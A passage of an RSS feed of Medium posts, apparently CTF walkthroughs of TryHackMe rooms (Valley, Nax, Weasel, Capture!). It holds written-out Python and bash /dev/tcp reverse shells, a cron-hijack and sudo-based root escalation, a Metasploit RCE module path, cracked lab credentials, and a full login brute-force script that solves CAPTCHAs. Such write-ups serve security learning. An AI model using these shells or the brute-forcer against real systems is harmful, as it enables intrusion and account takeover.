use.<br><br>     https://ubuntu.com/pro<br>valleyDev@valley:~$ ls<br>user.txt</pre><p>First user flag</p><p>Looking around:</p><p>No sudo -l Permissions, but I did find an interesting file:</p><pre>valleyDev@valley:/home$ ls -al<br>total 752<br>drwxr-xr-x  5 root      root        4096 Mar  6 13:19 .<br>drwxr-xr-x 21 root      root        4096 Mar  6 15:40 ..<br>drwxr-x---  4 siemDev   siemDev     4096 Mar 20 20:03 siemDev<br>drwxr-x--- 16 valley    valley      4096 Mar 20 20:54 valley<br>-rwxrwxr-x  1 valley    valley    749128 Aug 14  2022 valleyAuthenticator<br>drwxr-xr-x  5 valleyDev valleyDev   4096 Mar 13 08:17 valleyDev<br><br>valleyDev@valley:/home$ ./valleyAuthenticator<br>Welcome to Valley Inc. Authenticator<br>What is your username: valleyDev<br>What is your password: ph0t0s1234<br>Wrong Password or Username</pre><p>valleyAuthenticator can be executed by everyone. I moved the file to my machine to examine it further.</p><p>From the AttackBox: scp valleyDev@10.10.255.132:/home/valleyAuthenticator .</p><pre>root@ip-10-10-253-48:~# file valleyAuthenticator <br>valleyAuthenticator: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped<br><br>root@ip-10-10-253-48:~# strings valleyAuthenticator<br>...<br>upx</pre><p>The file is using upx packer for obfuscation.</p><p>I installed UPX using the following: apt install upx and run the Strings command again.</p><pre>root@ip-10-10-253-48:~# upx -d valleyAuthenticator<br><br>root@ip-10-10-253-48:~# strings -n 10 valleyAuthenticator | grep -A 5 -B 5 Authenticator<br>AWAVAUATUSH<br>h[]A\A]A^A_<br>[]A\A]A^A_<br>e6722920bab2326f8217e4bf6b1b58ac<br>dd2921cc76ee3abfd2beb60709056cfb<br>Welcome to Valley Inc. Authenticator<br>What is your username: <br>What is your password: <br>Authenticated<br>Wrong Password or Username<br>basic_string::_M_construct null not valid</pre><p>Those seem like hashes … Let’s crack them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*m_T-y6Mj8gYFq3MbQFyKug.png" /><figcaption>Find the hashes using “<a href="https://crackstation.net/">https://crackstation.net/</a>”</figcaption></figure><pre>valleyDev@valley:/home$ ./valleyAuthenticator<br>Welcome to Valley Inc. Authenticator<br>What is your username: valley<br>What is your password: liberty123<br>Authenticated<br><br>valleyDev@valley:/home$ su valley<br>Password: <br>valley@valley:/home$</pre><p>Looking around, I found a cron job:</p><pre>valley@valley:~$ cat /etc/crontab <br># /etc/crontab: system-wide crontab<br># Unlike any other crontab you don&#39;t have to run the `crontab&#39;<br># command to install the new version when you edit this file<br># and files in /etc/cron.d. These files also have username fields,<br># that none of the other crontabs do.<br><br>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br><br># Example of job definition:<br># .---------------- minute (0 - 59)<br># |  .------------- hour (0 - 23)<br># |  |  .---------- day of month (1 - 31)<br># |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...<br># |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat<br># |  |  |  |  |<br># *  *  *  *  * user-name command to be executed<br>17 *	* * *	root    cd / &amp;&amp; run-parts --report /etc/cron.hourly<br>25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )<br>47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )<br>52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )<br>1  *    * * *   root    python3 /photos/script/photosEncrypt.py<br><br>#</pre><pre>valley@valley:~$ ls -al /photos/script/photosEncrypt.py<br>-rwxr-xr-x 1 root root 621 Mar  6 15:43 /photos/script/photosEncrypt.py<br>valley@valley:~$ cat /photos/script/photosEncrypt.py<br>#!/usr/bin/python3<br>import base64<br>for i in range(1,7):<br># specify the path to the image file you want to encode<br>	image_path = &quot;/photos/p&quot; + str(i) + &quot;.jpg&quot;<br><br># open the image file and read its contents<br>	with open(image_path, &quot;rb&quot;) as image_file:<br>          image_data = image_file.read()<br><br># encode the image data in Base64 format<br>	encoded_image_data = base64.b64encode(image_data)<br><br># specify the path to the output file<br>	output_path = &quot;/photos/photoVault/p&quot; + str(i) + &quot;.enc&quot;<br><br># write the Base64-encoded image data to the output file<br>	with open(output_path, &quot;wb&quot;) as output_file:<br>    	  output_file.write(encoded_image_data)</pre><p>I cannot modify the file because of the file permissions … But it imports the “base64” package …</p><p>I will have root privileges if I can modify it and get a reverse shell.</p><pre>valley@valley:~$ locate base64<br>/snap/core20/1611/usr/bin/base64<br>/snap/core20/1611/usr/lib/python3.8/base64.py<br>/snap/core20/1611/usr/lib/python3.8/__pycache__/base64.cpython-38.pyc<br>/snap/core20/1611/usr/lib/python3.8/email/base64mime.py<br>/snap/core20/1611/usr/lib/python3.8/email/__pycache__/base64mime.cpython-38.pyc<br>/snap/core20/1611/usr/lib/python3.8/encodings/base64_codec.py<br>/snap/core20/1611/usr/lib/python3.8/encodings/__pycache__/base64_codec.cpython-38.pyc<br>/snap/core20/1828/usr/bin/base64<br>/snap/core20/1828/usr/lib/python3.8/base64.py<br>/snap/core20/1828/usr/lib/python3.8/__pycache__/base64.cpython-38.pyc<br>/snap/core20/1828/usr/lib/python3.8/email/base64mime.py<br>/snap/core20/1828/usr/lib/python3.8/email/__pycache__/base64mime.cpython-38.pyc<br>/snap/core20/1828/usr/lib/python3.8/encodings/base64_codec.py<br>/snap/core20/1828/usr/lib/python3.8/encodings/__pycache__/base64_codec.cpython-38.pyc<br>/usr/bin/base64<br>/usr/lib/python3/dist-packages/future/backports/email/base64mime.py<br>/usr/lib/python3/dist-packages/future/backports/email/__pycache__/base64mime.cpython-38.pyc<br>/usr/lib/python3.8/base64.py<br>/usr/lib/python3.8/__pycache__/base64.cpython-38.pyc<br>/usr/lib/python3.8/email/base64mime.py<br>/usr/lib/python3.8/email/__pycache__/base64mime.cpython-38.pyc<br>/usr/lib/python3.8/encodings/base64_codec.py<br>/usr/lib/python3.8/encodings/__pycache__/base64_codec.cpython-38.pyc<br>/usr/share/man/man1/base64.1.gz<br>/usr/share/mime/application/x-spkac+base64.xml</pre><pre>valley@valley:~$ ls -al /usr/lib/python3.8/base64.py<br>-rwxrwxr-x 1 root valleyAdmin 20382 Mar 13 03:26 /usr/lib/python3.8/base64.py<br>valley@valley:~$ id<br>uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)</pre><p>Users invalleyAdmin group can modify the file, and the user valley is in valleyAdmin.</p><p>I will set up a listener: rlwrap nc -lvnp 5555</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*2AT7PFVuuBQPL_I-4PniNA.png" /><figcaption>Modified the “base64.py” file with a reverse shell.</figcaption></figure><p>I got a connection back:</p><pre>root@ip-10-10-253-48:~# rlwrap nc -lvnp 5555<br>Listening on [0.0.0.0] (family 0, port 5555)<br>Connection from 10.10.255.132 44078 received!<br>/bin/sh: 0: can&#39;t access tty; job control turned off<br><br># id<br>uid=0(root) gid=0(root) groups=0(root)<br># ls /root<br>root.txt</pre><p>Root flag!!!</p><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8bc0548b65b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe -Nax]]></title>
            <link>https://medium.com/@vitalysimx/tryhackme-nax-f85389397bb?source=rss-be60a633b924------2</link>
            <guid isPermaLink="false">https://medium.com/p/f85389397bb</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Vitaly Simonovich]]></dc:creator>
            <pubDate>Thu, 25 May 2023 15:40:30 GMT</pubDate>
            <atom:updated>2023-05-25T19:11:37.496Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Nax</h3><p>For the tool’s commands, I used: <a href="https://www.hackerstoolkit.co/">https://www.hackerstoolkit.co</a></p><p>Let’s start by scanning …</p><p>nmap -sS -sV -sC 10.10.16.89</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*Twj10JPhylZPKXBR3jAm5A.png" /></figure><p>Let’s start with the web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*qpKzSDVxIy_enJF2IGdI0A.png" /></figure><p>One of the first things is to try to get more direction from browsing the “robots.txt”, but it does not exist in this case.</p><p>Next, let’s look at the HTML code:</p><p>We have our first hint … /nagiosxi/</p><p>After trying the default username and password: nagiosadmin which didn&#39;t work.</p><p>If we look at the first webpage, they are talking about “elements”:</p><p>Ag — Hg — Ta — Sb — Po — Pd — Hg — Pt — Lr</p><p>Based on <a href="https://www.angelo.edu/faculty/kboudrea/periodic/structuresymbols.htm">https://www.angelo.edu/faculty/kboudrea/periodic/structure<em>symbols.htm</em></a></p><p>Let’s get their numbers:</p><p>47 80 73 51 84 46 80 78 103</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*BFY0gbRWEUQb6Mn50V0B_Q.png" /></figure><p>We get the path: /PI3T.PNg</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*kcrsdjteUq3qOMS-BQfDLQ.png" /></figure><p>Question: What hidden file did you find?</p><p>Answer: PI3T.PNg</p><p>Question: Who is the creator of the file?</p><p>Let’s download and extract the metadata using exiftool</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*S8IEjfCG8NL8F6BweUWOUg.png" /></figure><p>Answer: Piet Mondrian</p><p><a href="https://en.wikipedia.org/wiki/PietMondrian">https://en.wikipedia.org/wiki/Piet<em>Mondrian</em></a></p><p>Pient is a programming language</p><p>Download the piet interpreter from <a href="http://www.bertnase.de/npiet/">http://www.bertnase.de/npiet/</a></p><p>Direct download link: <a href="http://www.bertnase.de/npiet/npiet-1.3f.tar.gz">http://www.bertnase.de/npiet/npiet-1.3f.tar.gz</a></p><ol><li>cd npiet-1.3f</li><li>./configure</li><li>make</li><li>make install</li></ol><p>You will need to convert the image to ppm format using gimp app:</p><ol><li>apt install gimp</li><li>Open gimp and the image</li><li>File -&gt; Export As -&gt; PI3T.ppm</li><li>Save as raw format</li></ol><p>Open the image using the piet Interpreter:</p><pre>./npiet ~/Downloads/PI3T.ppm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*z94xmufjfARB3B363PzfXw.png" /></figure><p>This pattern is recurring: <strong>nagiosadmin%n3p3UQ&amp;9BjLp4$7uhWdY</strong></p><p>Question: What is the username you found?</p><p>Answer: nagiosadmin</p><p>Question: What is the password you found?</p><p>Answer: n3p3UQ&amp;9BjLp4$7uhWdY</p><p>We can use the credentials to enter the control panel of nagiosxi</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*-86C52Bc5vRu5bIiN4RkOA.png" /></figure><p>Version:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*1nP9ImZwKxV3ioHp8CYLHw.png" /></figure><p>Version: Nagios XI 5.5.6</p><p>It’s vulnerable to RCE (Remote Code execution)</p><p>There are several RCE vulnerabilities in Nagios XI, the one that we need is: CVE-2019–15949</p><p>Note: I tried to input several CVEs related to RCEs on Nagios XI.</p><p>Question: What is the CVE number for this vulnerability? This will be in the format: CVE-0000–0000</p><p><a href="https://www.cvedetails.com/vulnerability-list.php?vendor_id=1424&amp;product_id=26507&amp;version_id=&amp;page=1&amp;hasexp=0&amp;opdos=0&amp;opec=1&amp;opov=0&amp;opcsrf=0&amp;opgpriv=0&amp;opsqli=0&amp;opxss=0&amp;opdirt=0&amp;opmemc=0&amp;ophttprs=0&amp;opbyp=0&amp;opfileinc=0&amp;opginf=0&amp;cvssscoremin=4&amp;cvssscoremax=0&amp;year=0&amp;month=0&amp;cweid=0&amp;order=1&amp;trc=1&amp;sha=90d5d7174ac198da3706a78d8c2a2acfc9f1ca93">Nagios Nagios Xi : List of security vulnerabilities</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*X73KBjfLHbgCkWScyHw6gQ.png" /></figure><p>Answer: CVE-2019–15949</p><p>Question: After Metasploit has started, let’s search for our target exploit using the command ‘search applicationame’. What is the full path (starting with exploit) for the exploitation module?</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*ffOzbrmQIOVo-wnqNa5EeQ.png" /></figure><p>Answer: exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce</p><p>Let&#39;s setup the different parameters and exploit the vulnerability:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*87wiTw936C-YmG-juUXO_w.png" /></figure><p>Searching for the user.txt flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*AfxfW0Kxhv49FrULD2lItA.png" /></figure><p>What is the user type?</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*MpMURDlFdYZbovl0lleOfQ.png" /></figure><p>Searching for the second flag… root.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*yiVDcCFYFx_uJcmDJcL8kg.png" /></figure><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f85389397bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackME — weasel]]></title>
            <link>https://medium.com/@vitalysimx/tryhackme-weasel-b58f97fa4932?source=rss-be60a633b924------2</link>
            <guid isPermaLink="false">https://medium.com/p/b58f97fa4932</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Vitaly Simonovich]]></dc:creator>
            <pubDate>Sun, 21 May 2023 07:15:05 GMT</pubDate>
            <atom:updated>2023-05-21T07:15:05.408Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackME — weasel</h3><p>We start by scanning the system.<br>Using <a href="http://www.hackerstoolkit.co/">www.hackerstoolkit.co</a>, we built the following Nmap command:</p><pre>nmap -sS -sV -sC 10.10.204.89</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*gAWpnpRk7x2XvLjXJiK7kw@2x.png" /></figure><p>We have an SMB open. Let’s try to enumerate it using</p><pre>smbclient -L 10.10.204.89</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*HqQju0aaZrJjniltXG2FDA@2x.png" /></figure><p>I tried to connect to the share <strong>Data Science TeamShare</strong> without credentials.</p><pre>smbclient //10.10.204.89/datasci-team</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*yZhlT4dBbElSqBY0y8C1hA@2x.png" /></figure><p>We found a Jupyter notebook. Also, in the <strong>misc</strong> folder, there is a token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KinASy7DYT83rDc6NdFKJg@2x.png" /></figure><p>At this point, I know that they have a Jupyter Notebook server running, but the only way to access it is via a web server.</p><p>I didn’t have an open port with a web server running in the first scan.<br>But in the room, it says we have six well-known ports. I got only five in my initial scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*1nUgzjURjdNBqWa3mlaKRw@2x.png" /></figure><p>Let’s scan again with all the ports. Let’s do an SYN scan:</p><pre>nmap -sS -p- 10.10.204.89</pre><p>We can also look at the documentation <a href="https://jupyter-notebook.readthedocs.io/en/stable/security.html">https://jupyter-notebook.readthedocs.io/en/stable/security.html</a>. According to it, we should have port 8888. Let’s try…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*arhyOxuk-fJ0vSojdKy0Eg@2x.png" /></figure><p>Bingo! Let’s use the token we found:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qYta0zPfo5tRGLyCAnIaMw@2x.png" /></figure><p>Double-click on the <strong>weasel.ipynb</strong></p><p>You can run shell commands from the notebook:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bfKhYuaneYsy0BRRt40Myw@2x.png" /></figure><p>Let’s get a shell …</p><p>Open a Netcat listener:</p><pre>rlwrap nc -lvnp 5555</pre><p>Paste Python reverse shell code into the cell and run it (Shift + Enter):</p><pre>import socket,subprocess,os; s=socket.socket(socket.AFINET,socket.SOCKSTREAM); s.connect((&quot;10.10.199.41&quot;,5555)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;]);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*vTbKmw2X9ce_mWl0MS_hdQ@2x.png" /></figure><p>let’s start inspecting …</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*a5ozl503bHM6TqMPIe2c2A@2x.png" /></figure><p>I looked around but no user flag …</p><pre>`uname -a`</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JuKqk1zjvB2gE2vifHFl_Q@2x.png" /></figure><p>Mmmm, Microsoft, maybe we are inside a WLS?<br>Yes!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XHjFayXP1RwufCr2MDcrLA@2x.png" /></figure><p>If we go to <strong>/home/dev-datasct/.local/bin/jupyter</strong>, you won’t find the <strong>jupyter</strong> binary.</p><p>Let’s create a simple BASH file and get a revere shell as a root:</p><pre>echo &#39;#!/bin/bash&#39; &gt; /home/dev-datasci/.local/bin/jupyter<br>echo &#39;/bin/bash -i &gt;&amp; /dev/tcp/10.10.143.121/4444 0&gt;&amp;1&#39; &gt;&gt; /home/dev-datasci/.local/bin/jupyter<br><br>chmod +x /home/dev-datasci/.local/bin/jupyter</pre><p>Open a new listener:</p><pre>rlwrap nc -lvnp 4444</pre><p>Run the <strong>jupyter</strong> as root:</p><pre>sudo /home/dev-datasci/.local/bin/jupyter</pre><p>Walla, shell as root</p><p>Now we know that we are inside a WSL, we can mount the C:\ drive to get access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*ANGB6BZp-pdMXbB-2oeAOg.png" /></figure><p>The command you provided is used to mount a Windows drive in the Windows Subsystem for Linux (WSL) environment. Let’s break it down:</p><ul><li><strong>mount</strong>: This is the command used to mount file systems in Unix-like operating systems.</li><li><strong>-t drvfs</strong>: This option specifies the type of file system to be mounted. In this case, <strong>drvfs</strong> refers to the file system used by Windows drives in WSL.</li><li><strong>C</strong>: : This is the source or device specification that represents the Windows drive you want to mount. <strong>C:</strong> typically refers to the C drive in Windows, which is the primary hard drive.</li><li><strong>/mnt/c</strong>: This is the destination directory where the Windows drive will be mounted in the WSL environment. The <strong>/mnt</strong> directory is commonly used in WSL as the mount point for Windows drives, and the <strong>c</strong> directory represents the C drive.</li></ul><p>By executing the <strong>mount -t drvfs C: /mnt/c</strong> command, you are instructing WSL to mount the Windows C drive in the <strong>/mnt/c</strong> directory. Once the command is executed successfully, you will be able to access the files and directories on the C drive within the WSL environment under the `/mnt/c` directory. This allows you to work with Windows files and perform various operations on them using Linux commands and tools.</p><p>Now let’s look for the flags …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*NZfu60YXtXMIZp2S_98yhg.png" /></figure><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b58f97fa4932" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Capture!]]></title>
            <link>https://medium.com/@vitalysimx/tryhackme-capture-a5ec27a9e94?source=rss-be60a633b924------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5ec27a9e94</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Vitaly Simonovich]]></dc:creator>
            <pubDate>Wed, 10 May 2023 05:41:29 GMT</pubDate>
            <atom:updated>2023-05-10T05:41:29.104Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Capture!</h3><p>In the TryHackMe room, the challenge is pretty simple: get access to the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pFhsYsJQRClflWT9.png" /></figure><p>You also get two lists, one for the usernames and one for the passwords.</p><p>When you try to log into the application, you must provide a username and password.</p><p>If the username does not exist, you will get the following message: The user ‘test’ does not exist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tTc3pguFUXw_Fj0U.png" /></figure><p>If you make too many requests, you will get a CAPTCHA:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V0lxBaGgYCfMgeKq.png" /></figure><p>To solve this challenge, you need to automate the form submission, and when you get the CAPTCHA, you need to solve it and resubmit.</p><p>I chose to use Python for the automation. I used ChatGPT to automate the script creation and manually modified it to make it more precise.</p><p>This is the flow I asked ChatGPT to create in Python:</p><ol><li>Read the usernames.txt and passwords.txt files.</li><li>Loop over the usernames and passwords.</li><li>Send a POST request (I captured the POST using BurpSuite) and pass the username and password.</li><li>If you get “does not exist” in the response, skip to the next username.</li><li>If you get “captcha” in the response, extract the number and mathematical operation from the response. Here is an example of the equation: “763 * 91”. Add the result to the “captcha” parameter and resubmit the request.</li><li>You logged in successfully if the following strings do not appear in the response: “captcha” and “does not exist.”</li></ol><p>This is the final code after modification:</p><pre>import re<br>import requests<br><br>usernames_file = &quot;usernames.txt&quot;<br>passwords_file = &quot;passwords.txt&quot;<br>url = &quot;http://10.10.23.132/login&quot;<br>headers = {<br> &quot;User-Agent&quot;: &quot;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0&quot;,<br> &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&quot;,<br> &quot;Accept-Language&quot;: &quot;en-US,en;q=0.5&quot;,<br> &quot;Accept-Encoding&quot;: &quot;gzip, deflate&quot;,<br> &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;,<br> &quot;Origin&quot;: &quot;http://10.10.23.132&quot;,<br> &quot;Connection&quot;: &quot;close&quot;,<br> &quot;Referer&quot;: &quot;http://10.10.23.132/login&quot;,<br> &quot;Upgrade-Insecure-Requests&quot;: &quot;1&quot;,<br>}<br>def calculate(num1, num2, operation):<br> if operation == &#39;*&#39;:<br> return num1 * num2<br> elif operation == &#39;+&#39;:<br> return num1 + num2<br> elif operation == &#39;-&#39;:<br> return num1 - num2<br> elif operation == &#39;/&#39;:<br> return num1 / num2<br> else:<br> raise ValueError(f&quot;Invalid operation: {operation}&quot;)<br>def user_does_not_exist(response_text):<br> return &quot;does not exist&quot; in response_text.lower()<br>with open(usernames_file, &quot;r&quot;) as uf, open(passwords_file, &quot;r&quot;) as pf:<br> usernames = uf.read().splitlines()<br> passwords = pf.read().splitlines()<br>for username in usernames:<br> for password in passwords:<br> data = {<br> &quot;username&quot;: username,<br> &quot;password&quot;: password,<br> }<br> response = requests.post(url, headers=headers, data=data)<br> response_size = len(response.content)<br> <br> if user_does_not_exist(response.text):<br> print(f&quot;Skipping username {username} as it does not exist.&quot;)<br> break<br> if &quot;does not exist&quot; not in response.text.lower() and &quot;captcha&quot; not in response.text.lower(): # Replace this with a specific success condition for the website<br> print(f&quot;Success, {username}, {password}, {response_size}&quot;)<br> exit(0)<br> else:<br> print(f&quot;Failed, {username}, {password}, {response_size}&quot;)<br><br> if &quot;captcha&quot; in response.text.lower():<br> captcha_question = re.search(r&quot;(\d+)\s*([\+\-\*/])\s*(\d+)&quot;, response.text)<br> if captcha_question:<br> num1, operation, num2 = int(captcha_question.group(1)), captcha_question.group(2), int(captcha_question.group(3))<br> captcha = calculate(num1, num2, operation)<br> data[&quot;captcha&quot;] = captcha<br> # Resubmit the previous username, password, and captcha answer<br> response = requests.post(url, headers=headers, data=data)<br> response_size = len(response.content)<br> if user_does_not_exist(response.text):<br> print(f&quot;Skipping username {username} as it does not exist.&quot;)<br> break<br> if &quot;does not exist&quot; not in response.text.lower() and &quot;captcha&quot; not in response.text.lower(): # Replace this with a specific success condition for the website<br> print(f&quot;Success, {username}, {password}, {response_size}&quot;)<br> exit(0)<br> else:<br> print(f&quot;Failed, {username}, {password}, {response_size}&quot;)<br><br> <br>print(&quot;Failed to log in with the given credentials.&quot;)</pre><p>Note: the code is not perfect, but it does the job 😀</p><p><a href="https://gist.github.com/vitalysim/e5949d27cd0733b1c0dfd3a2972dfbb5">Link to the code</a></p><p>Example of the output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/0*k_YHn2N9x-fJkGyL.png" /></figure><p>Enjoy!</p><figure><a href="https://www.buymeacoffee.com/vitalys"><img alt="buymeacoffee.com/vitalys" src="https://cdn-images-1.medium.com/max/545/1*jx-d_b9LYbH0ThmH-pxx1Q.png" /></a><figcaption>buymeacoffee.com/vitalys</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5ec27a9e94" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>